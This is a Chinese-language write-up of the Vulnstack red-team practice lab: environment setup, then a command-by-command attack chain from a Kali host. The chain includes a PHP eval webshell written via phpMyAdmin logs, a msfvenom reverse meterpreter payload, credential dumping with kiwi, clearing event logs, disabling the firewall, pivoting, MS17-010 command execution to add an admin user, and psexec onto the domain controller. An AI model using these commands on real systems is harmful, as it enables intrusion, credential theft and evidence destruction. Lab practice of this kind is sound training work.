靶机信息
靶机基本描述:红队实战系列,主要以真实企业环境为实例搭建一系列靶场,完全模拟ATT&CK攻击链路进行搭建
靶机下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
虚拟机初始密码:hongrisec@2019(开机后会提示更新密码)
server 2008:hongrisec@2022
win7:hongrisec@2019!
win2003:hongrisec@2019
环境搭建
由于该靶机环境搭建比较复杂,这里多写一些,记录一些搭建中遇到的问题
靶机文件
下载好靶机环境后,解压完有三个文件夹
分别打开三个文件夹中的.vmx文件,运行后会自动打开虚拟机
打开后新增三个虚拟机 win server 2008、win7、win2003
网络配置
根据官网给出的网络配置图片来看
kali和win7同属于VM1网段(win7需新加网卡设置为VM1)
win7又与2008和2003属VM2网段
问题1:扫描不到win7主机端口
使用nmap扫描时,扫描不到该win7主机的开放端口
因为win7新加VM1网卡,网卡的基本信息没有配置
配置一下网关这些信息,一般网关地址为.1或.2,可以用物理机ping测试下到哪个地址能通,来确定网关
配置如下,配置正确后网卡状态不再显示为未识别的网络,nmap可以正常扫描到端口
问题2:扫描不到win7主机80端口
解决第1个问题后,发现只能扫到5357端口
需要在c盘下找到phpstudy,并运行即可,如果运行后还是扫不到的话,参考下面的方法
和kali同网段的VM1网络的防火墙关闭,域网络的防火墙保持开放状态,正常来说不应该关闭防火墙的,这里用了各种扫描方法都扫不到,arp扫描,禁ping扫描…,如果实在没办法再关防火墙
攻击路径
官网提供的攻击路径如下:
攻击者:kali
web服务器:Win7
域成员:Win2003
域控:Server 2008
信息搜集
kali与win7同属VM1网络
使用nmap扫描VM1网段存活主机
nmap -sn 192.168.41.0/24
发现.128主机,猜测为win7主机,对该主机进行扫描,发现扫描不到开放端口
ps1:如果扫描不到端口,参考目录的环境搭建->网络配置->问题1
nmap -A 192.168.41.128
发现只开放了5357端口,没有发现80端口,需要在win7上手动开启phpstudy
ps2:扫描不到80端口,参考目录的环境搭建->网络配置->问题2
解决以上两个问题后,扫描到的内容就比较正常了
通过kali访问win7站点,发现为phpstudy探针
通过网页下方的mysql连接测试,发现使用默认密码(root/root)
可以登录数据库
漏洞利用
访问数据库phpmyadmin地址进行登录,http://192.168.41.128/phpmyadmin
登录到phpmyadmin后,通过开启日志记录写入shell
在变量处,搜索general的值,修改为ON开启日志记录
开启日志记录,设置日志的存储路径,放在www目录下
然后在SQL处执行sql语句,执行语句会被记录到日志文件中
SELECT "<?php @eval($_POST[666]);?>";
使用蚁剑连接shell,登录到蚁剑,在www目录下发现一个yxcms的目录,也是一个站点
已经通过phpmyadmin拿到权限了就不搞这个yxcms了
弹个shell到msf上,方便后面操作
用msf生成一个exe程序,回连地址为kali
msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.41.129 LPORT=666 -f exe -o shell.exe
在kali上打开msf配置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.41.129
set LPORT 666
run
通过蚁剑上传exe文件,在虚拟终端里运行,msf上线
权限提升
首先查看下当前用户,提权到system权限
getuid
getsystem
然后迁移进程,找到一个64位且权限为SYSTEM的进程进行迁移
我这里是用的services.exe,pid为488
migrate 488 //迁移进程到pid为488的进程
加载kiwi模块,抓取用户密码
获取到账户的明文密码,administrator/hongrisec@2019!
load kiwi //加载kiwi模块,功能与mimikatz类似
creds_all //列举明文密码
ps:加载mimikatz模块来抓取密码的话,获取不到密码,msf上也提示已经被kiwi取代
清除事件日志
clearev
关闭防火墙,打开3389端口
netsh advfirewall set allprofiles state off //关闭防火墙
netsh advfirewall show allprofiles state //查看当前防火墙状态
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f //开放3389端口
kali通过rdesktop开启远程桌面
redesktop 192.168.41.128:3389
内网搜集
ipconfig /all
查看网络配置信息
发现有两个不同网段的网卡信息,和DNS域名信息
net config workstation
查看当前登录域和用户
net time /domain
判断主域
net view
查看域内主机,发现域内有3台主机
net user /domain
查看当前域所有用户
net group "domain controllers" /domain
查看域控,为owa$
通过ping来判断其他域内其他2台主机的ip地址
ping ROOT-TVI862UBEH.god.org
ping OWA.god.org
横向移动
使用msf无法扫描别的网段的主机,需要设置proxychains代理
先退出msf的shell界面,设置.52网段的路由
run autoroute -s 192.168.52.0/24
设置代理,需要用socks4a模块,找了许久没有找到这个模块
发现是由于新版本kali应该是对socks模块进行了整合,现在变成socks_proxy
查看需要配置的参数,设置上本地的ip地址
use 0 //socks_proxy选项前面的编号
show options
set SRVHOST 127.0.0.1
run
配置完成后,run运行,然后修改下代理的配置文件
vim /etc/proxychains4.conf
socks4 127.0.0.1 1080
通过代理使用nmap扫描对目标主机进行扫描
由于socks代理是tcp连接,这里nmap命令只能用tcp相关的,扫描速度较慢
nmap -Pn -sT 192.168.52.138 // -Pn非ping扫描,-sT tcp连接扫描
最后扫描失败,好像代理配置有问题
排查许久,发现需要将proxychains配置文件里的dynamic_chain注释掉即可
挂上代理使用nmap扫描,之前的问题解决了,但是扫描的速度很慢
这里也可以使用msf的端口扫描模块
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.52.138
run
分别对之前的两台主机进行端口扫描,都开放了445端口
先对.141主机进行ms17-010漏洞扫描
msf先搜索下ms17-010的模块,选用smb_ms17_010
background
search ms17-010
use 3
set RHOSTS 192.168.52.141
漏洞存在,然后进一步利用
试了几个攻击都利用失败,只能通过命令执行的来利用ms17_010_command
set COMMAND net user test hongrisec@2022 /add
set RHOSTS 192.168.52.141
运行后,命令执行成功,将test用户添加到管理组
set COMMAND net localgroup administrators test /add
run
查看下是否添加成功
set COMMAND net localgroup administrators
run
通过之前的端口信息发现主机未开放3389端口,再把3389端口打开
注册表这里不加引号的话可能会执行失败
set COMMAND 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
使用代理远程到.141主机
proxychains rdesktop 192.168.52.141:3389
接下来是域控主机.138,同样是开放445端口,通过smb/psexec模块来利用
use exploit/windows/smb/psexec
然后配置下信息
smb账号密码域信息win7主机的,之前抓到过账号密码
payload处ip端口设置为win7主机52网段的地址
LPORT端口需要为开放状态,可以通过之前的扫描信息来设置
set RHOSTS 192.168.52.138 //域控主机ip
set SMBDomain god //域
set SMBPass hongrisec@2019! //win7主机密码
set SMBUser Administrator //win7主机用户名
set LHOST 192.168.52.143 //win7主机52段ip,做为跳板机
set LPORT 464 //监听端口
运行后获取到域控主机.138的权限,有乱码的话输入chcp 65001
,最后clearev
清理下事件日志